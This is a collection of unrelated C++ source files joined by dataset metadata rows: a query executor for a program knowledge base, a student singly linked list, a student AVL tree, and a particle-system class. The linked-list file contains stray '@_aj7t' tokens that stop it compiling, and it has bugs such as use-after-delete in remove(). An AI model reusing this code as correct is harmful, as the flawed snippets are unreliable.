for (var_ref var : this->vars) {
if (pkb_query_controller.statementModifies(other_stmt, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_modifies_type(stmt_type other_stmt_type) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
if (other_stmt_type == stmt_type::PROCEDURE) {
for (proc_ref proc_wildcard : this->procs) {
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureModifies(proc_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
vector<stmt_ref> stmts_wildcard;
switch (other_stmt_type) {
case stmt_type::ASSIGN:
stmts_wildcard = this->stmts_assign;
break;
case stmt_type::CALL:
stmts_wildcard = this->stmts_call;
break;
case stmt_type::IF:
stmts_wildcard = this->stmts_if;
break;
case stmt_type::PRINT:
stmts_wildcard = this->stmts_print;
break;
case stmt_type::READ:
stmts_wildcard = this->stmts_read;
break;
case stmt_type::WHILE:
stmts_wildcard = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts_wildcard = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (var_ref var : this->vars) {
if (pkb_query_controller.statementModifies(stmt_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
// Wildcard operation
std::vector<var_ref> ActionsExecutor::get_all_variables_uses() {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (proc_ref proc_wildcard : this->procs) {
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureUses(proc_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : this->stmts) {
for (var_ref var : this->vars) {
if (pkb_query_controller.statementUses(stmt_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_uses(proc_ref procedure) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureUses(procedure, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_uses_ref(stmt_ref other_stmt) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (var_ref var : this->vars) {
if (pkb_query_controller.statementUses(other_stmt, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_uses_type(stmt_type other_stmt_type) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
if (other_stmt_type == stmt_type::PROCEDURE) {
for (proc_ref proc_wildcard : this->procs) {
for (var_ref var : this->vars) {
if (pkb_query_controller.procedureUses(proc_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
vector<stmt_ref> stmts_wildcard;
switch (other_stmt_type) {
case stmt_type::ASSIGN:
stmts_wildcard = this->stmts_assign;
break;
case stmt_type::CALL:
stmts_wildcard = this->stmts_call;
break;
case stmt_type::IF:
stmts_wildcard = this->stmts_if;
break;
case stmt_type::PRINT:
stmts_wildcard = this->stmts_print;
break;
case stmt_type::READ:
stmts_wildcard = this->stmts_read;
break;
case stmt_type::WHILE:
stmts_wildcard = this->stmts_while;
break;
case stmt_type::STATEMENT:
stmts_wildcard = this->stmts;
break;
default:
throw "Invalid statement type passed";
}
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : stmts_wildcard) {
for (var_ref var : this->vars) {
if (pkb_query_controller.statementUses(stmt_wildcard, var)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
// Pattern Clauses for Assign
// Default: Assign statements
std::vector<stmt_ref> ActionsExecutor::get_all_stmts_pattern(pattern pattern) {
vector<stmt_ref> results;
unordered_set<stmt_ref> unique_set;
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt : this->stmts_assign) {
if (pkb_query_controller.satisfiesPattern(stmt, pattern)) {
if (unique_set.find(stmt) == unique_set.end()) {
unique_set.insert(stmt);
results.push_back(stmt);
}
}
}
return results;
}
// Variable position assumed to be on left side
// Wildcard operation
std::vector<var_ref> ActionsExecutor::get_all_variables_pattern_assign() {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
pattern trial_pattern;
trial_pattern.rvalue = "_";
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : this->stmts_assign) {
for (var_ref var : this->vars) {
trial_pattern.lvalue = var;
if (pkb_query_controller.satisfiesPattern(stmt_wildcard, trial_pattern)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_all_variables_pattern_assign(std::string pattern_string) {
vector<var_ref> results;
unordered_set<var_ref> unique_set;
pattern trial_pattern;
trial_pattern.rvalue = pattern_string;
// TODO(plosslaw): refactor to reduce nesting
for (stmt_ref stmt_wildcard : this->stmts_assign) {
for (var_ref var : this->vars) {
trial_pattern.lvalue = var;
if (pkb_query_controller.satisfiesPattern(stmt_wildcard, trial_pattern)) {
if (unique_set.find(var) == unique_set.end()) {
unique_set.insert(var);
results.push_back(var);
}
}
}
}
return results;
}
std::vector<var_ref> ActionsExecutor::get_variable_pattern_assign(stmt_ref assign_stmt, std::string pattern_string) {
vector<var_ref> results;
if (this->unique_set_assign.find(assign_stmt) == this->unique_set_assign.end()) {
// assign_stmt passed is not found in list of assignments
return results;
}
pattern trial_pattern;
trial_pattern.rvalue = pattern_string;
for (var_ref var : this->vars) {
trial_pattern.lvalue = var;
if (pkb_query_controller.satisfiesPattern(assign_stmt, trial_pattern)) {
results.push_back(var);
break;
}
}
return results;
}
| true |
467d5ea5535d44c589d92d474252c131fe73cb79 | C++ | vksssd/100daysofDSA | /LinkedList/ListOperations.cpp | UTF-8 | 5,092 | 4.0625 | 4 | [] | no_license | //Traversal, Insertion, Deletion, ###Searching, Sorting and Merging
#include <iostream>
using namespace std;
// Making a node struct containing a data int and a pointer to another node
struct Node {
int data; // variable to store the data of the node
Node *next; // variable to store the address of the next node
};
class LinkedList
{
// Head pointer
Node* head;
public:
// default constructor. Initializing head pointer
LinkedList()
{
head = NULL;
}
//TODO: inserting elements (At start of the list)
void insertStart(int val)
{
//1. make a new node
Node* new_node = new Node;
new_node->data = val;
new_node->next = NULL;
//2. check If list is empty, make the new node the head
if (head == NULL)
head = new_node;
//3. else, make the new_node the head and its next, the previous head
else
{
//4. store address of head to new_node
new_node -> next = head;
//5. make a new node the head
head = new_node;
}
}
@_aj7t
void insertEnd(int val)
{
//1. make a new node
Node* new_node = new Node;
//2. assign data and ref to node
new_node->data = val;
new_node->next = NULL;
/****************
we need to declare a temporary pointer temp in order to traverse through the list.
temp is made to point the first node of the list.
*************/
//3. declare a temporary node
Node* temp = head;
/*FIXME:Check the Linked List is empty or not if empty make the new node as head else */
//4. Transvse till the last node
while( temp ->next != NULL){
temp = temp -> next;
}
//5. Change the next of last node to new node
temp -> next = new_node;
}
//TODO: insertion at Given position
int insertAtPos(int val, int pos)
{
//1. create a node
Node* new_node = new Node;
new_node -> data = val;
new_node -> next = NULL;
//FIXME: check if the linked list is empty?? check for Invalid pos
//2. create a node for transvering
Node *temp = head;
//3. traverse till position we wanna insert
for (int i = 0; i < pos - 1; i++)
{
temp = temp->next;
}
//4. Initialize the address of next position(pos+1) node to new node
new_node-> next =temp->next;
//5. assign the address of new node to pos node
temp -> next = new_node;
} @_aj7t
//TODO: SEARCHING
// loop over the list. return true if element found
bool search(int val)
{
//1. declare a temporary node
Node* temp = head;
//2. traverse till the
while(temp != NULL)
{
if (temp->data == val)
return true;
temp = temp->next;
}
return false;
}
//TODO: DELETION
void remove(int val)
{
// If the head is to be deleted
if (head->data == val)
{
delete head;
head = head->next;
return;
}
// If there is only one element in the list
if (head->next == NULL)
{
// If the head is to be deleted. Assign null to the head
if (head->data == val)
{
delete head;
head = NULL;
return;
}
// else print, value not found
cout << "Value not found!" << endl;
return;
}
// Else loop over the list and search for the node to delete
Node* temp = head;
while(temp->next!= NULL)
{
// When node is found, delete the node and modify the pointers
if (temp->next->data == val)
{
Node* temp_ptr = temp->next->next;
delete temp->next;
temp->next = temp_ptr;
return;
}
temp = temp->next;
}
// Else, the value was never in the list
cout << "Value not found" << endl;
}
//TODO: Transversal
void display()
{
Node* temp = head;
while(temp != NULL)
{
cout << temp->data << " ";
temp = temp->next;
}
cout << endl;
}
};
//TODO: DRIVER CODE
int main() {
//create an obj
LinkedList l;
// inserting elements
l.insertStart(9);
l.insertStart(1);
l.insertStart(3);
l.insertStart(7);
l.insertEnd(10);
l.insertEnd(60);
l.insertEnd(100);
l.insertAtPos(500, 3);
l.insertAtPos(500, 7);
//display th linked_list
cout << "Current Linked List: ";
l.display();
//delete the node
cout << "Deleting 1 ";
l.remove(1);
cout << "Deleting 500 ";
l.remove(500);
cout<<endl;
//search the node in the list
cout << "Searching for 7: ";
cout << l.search(7) << endl;
cout << "Searching for 13: ";
cout << l.search(500) << endl;
l.display();
}
| true |
445638192f30ef13d1945664734dab11415e7f5c | C++ | Alifikrii/Data_Structure | /AVL_Tree.cpp | UTF-8 | 4,088 | 3.484375 | 3 | [] | no_license | // Andi Muhammadd Alifikri
// G64190005
# include <iostream>
# include <cstdlib>
#include <stdio.h>
using namespace std;
// Kode 1
struct avl_node
{ // deklarasi node pada AVL
int data;
struct avl_node *left;
struct avl_node *right;
}*root;
class avlTree
{ // Deklarasi Class node AVL Tree
public:
int height(avl_node *);
int diff(avl_node *);
avl_node *fun1(avl_node *);
avl_node *fun2(avl_node *);
avl_node *fun3(avl_node *);
avl_node *fun4(avl_node *);
avl_node* balance(avl_node *);
avl_node* insert(avl_node *, avl_node *);
void display(avl_node *, int);
avlTree()
{
root = NULL;
}
};
// KODE 3
int avlTree::diff(avl_node *temp)
{
int l_height = height (temp->left);
int r_height = height (temp->right);
int b_factor= l_height - r_height;
return b_factor;
}
// Fungsi dari diff disini adalah untuk mengukur beda ketinggian
// antara kaki kanan dan kiri node
int avlTree::height(avl_node *temp)
{
int h = 0;
if (temp != NULL)
{
int l_height = height (temp->left);
int r_height = height (temp->right);
int max_height = max (l_height, r_height);
h = max_height + 1;
}
return h;
}
// Fungsi height ini untuk menghitung ketinggian dari sebuah tree
avl_node *avlTree::balance(avl_node *temp)
{
int bal_factor = diff (temp);
if (bal_factor > 1)
{
if (diff (temp->left) > 0)
temp = fun2 (temp);
else
temp = fun3 (temp);
}
else if (bal_factor < -1)
{
if (diff (temp->right) > 0)
temp = fun4 (temp);
else
temp = fun1 (temp);
}
return temp;
}
// Fungsi ini bertujuan untuk menyeimbangkan panjang kaki kiri dan kanan
// dari tree, jika terjadi ketidakseimbangan kaki tree maka fungsi ini akan dipanggil
// oleh fungsi insert
// KODE 4
avl_node *avlTree::fun1(avl_node *parent)
{
avl_node *temp;
temp = parent->right;
parent->right = temp->left;
temp->left = parent;
return temp;
}
avl_node *avlTree::fun2(avl_node *parent)
{
avl_node *temp;
temp = parent->left;
parent->left = temp->right;
temp->right = parent;
return temp;
}
avl_node *avlTree::fun3(avl_node *parent)
{
avl_node *temp;
temp = parent->left;
parent->left = fun1 (temp);
return fun2 (parent);
}
avl_node *avlTree::fun4(avl_node *parent)
{
avl_node *temp;
temp = parent->right;
parent->right = fun2(temp);
return fun1(parent);
}
// KODE 5
avl_node *avlTree::insert(avl_node *root, avl_node *newnode)
{
if (root == NULL)
{
root = new avl_node;
root->data = newnode->data;
root->left = NULL;
root->right = NULL;
return root;
}
if (root->data == newnode->data)
{
cout<<"Node yang akan ditambahkan sudah berada di dalam tree"<<endl;
return 0;
}
else if (newnode->data < root->data)
{
root->left = insert(root->left, newnode);
root = balance (root);
}
else if (newnode->data >= root->data)
{
root->right = insert(root->right, newnode);
root = balance(root);
}
return root;
}
// KODE 6
void avlTree::display(avl_node *ptr, int level)
{
int i;
if (ptr!=NULL)
{
display(ptr->right, level + 1);
printf("\n");
if (ptr == root)
cout<<"Root -> ";
for (i = 0; i < level && ptr != root; i++)
cout<<" ";
cout<<ptr->data;
display(ptr->left, level + 1);
}
}
// KODE 2
int main()
{
int choice, item;
avlTree avl;
avl_node *temp;
while (1)
{
cout<<"\n---------------------"<<endl;
cout<<" Impelementasi AVL Tree"<<endl;
cout<<"\n---------------------"<<endl;
cout<<"1.Tambah Node pada AVL Tree "<<endl;
cout<<"2.Tampilkan AVL Tree"<<endl;
cout<<"3.Keluar"<<endl;
cout<<"Ketik opsi yang anda pilih: ";
cin>>choice;
switch(choice)
{
case 1:
temp = new avl_node;
cout<<"Ketik angka yang akan ditambahken ke AVL Tree: ";
cin>> temp -> data;
root = avl.insert(root, temp);
break;
case 2:
if (root == NULL)
{
cout<<"Tree kosong, tidak dapat menampilkan Tree"<<endl;
continue;
}
cout<<" AVL Tree yang Seimbangnya adalah:"<<endl;
avl.display(root, 1);
break;
case 3:
exit(1);
break;
default:
cout<<"Pilihan yang anda masukkan tidak ada!"<<endl;
}
}
return 0;
} | true |
e500a6901a87be8485795a37e9a3f5317975637d | C++ | maximilianfuller/sphere | /src/engine/particle/ParticleTube.cpp | UTF-8 | 3,442 | 2.703125 | 3 | [] | no_license | #include "ParticleTube.h"
#include "engine/particle/Particle.h"
#include "engine/graphics/Graphics.h"
#include "engine/entity/Entity.h"
#include "platformer/entity/GameEntity.h"
ParticleTube::ParticleTube(QString textureKey,
glm::vec3 source, glm::vec3 target, glm::vec3 color,
float radius, float particleSize) :
m_source(source),
m_target(target),
m_color(color),
m_radius(radius),
m_particleSize(particleSize),
m_particleTimer(0),
m_particleTimeout(5),
ParticleSystem(textureKey)
{
for(int i = 0; i < MAX_PARTICLES; i++)
{
m_particles[i] = NULL;
}
}
void ParticleTube::setColor(glm::vec3 color)
{
m_color = color;
}
void ParticleTube::start()
{
/* Create particles and set their age */
if(!m_started && m_startTimer > 20)
{
m_started = true;
}
else if(!m_started)
{
m_startTimer++;
}
}
void ParticleTube::stop()
{
m_started = false;
}
bool ParticleTube::getStarted()
{
return m_started;
}
void ParticleTube::createParticle()
{
/* Random values to generate position and velocity */
float rand_angle = static_cast <float> (rand()) / static_cast <float> (RAND_MAX);
float rand_rad1 = static_cast <float> (rand()) / static_cast <float> (RAND_MAX);
float rand_rad2 = static_cast <float> (rand()) / static_cast <float> (RAND_MAX);
float rand_vel = 0.5 * static_cast <float> (rand()) / static_cast <float> (RAND_MAX);
/* Position on circle */
float theta = 2 * M_PI * rand_angle;
float u = rand_rad1 + rand_rad2;
float radius = (u > 1 ? 2 - u : u);
/* Particle position and velocity */
glm::vec3 pos = glm::vec3(m_radius * glm::cos(theta), m_radius * glm::sin(theta), 0);
glm::vec3 vel = glm::vec3(0, 0, -rand_vel);
/* Create particle */
delete m_particles[m_particleIndex];
Particle *particle = new Particle(pos, vel, radius, theta, m_textureKey);
m_particles[m_particleIndex++] = particle;
m_particleIndex %= MAX_PARTICLES;
}
void ParticleTube::draw(Graphics *graphics, glm::mat4x4 look)
{
/* Create new particle */
if(m_particleTimer > m_particleTimeout)
{
createParticle();
m_particleTimer = 0;
}
else
{
m_particleTimer++;
}
float distance = glm::length(m_target - m_source);
glm::mat4x4 scale = glm::scale(glm::mat4x4(), glm::vec3(1, 1, distance));
/* Align particle stream */
glm::mat4x4 view = glm::lookAt(m_source, m_target, glm::normalize(m_source));
glm::mat4x4 model = glm::inverse(view) * scale;
/* Send color */
graphics->sendColorUniform(glm::vec4(m_color, 1.0));
for(int i = 0; i < MAX_PARTICLES; i++)
{
if(m_particles[i])
{
/* Particle expire by position */
if(glm::abs(m_particles[i]->pos.z) >= 1)
{
delete(m_particles[i]);
m_particles[i] = NULL;
continue;
}
/* Particle expire by age */
if(m_particles[i]->age >= MAX_AGE)
{
delete(m_particles[i]);
m_particles[i] = NULL;
createParticle();
continue;
}
/* Tick and draw particle */
m_particles[i]->tick(1.0 / 60.0);
m_particles[i]->draw(graphics, look, model, 0.1);
}
}
}
| true |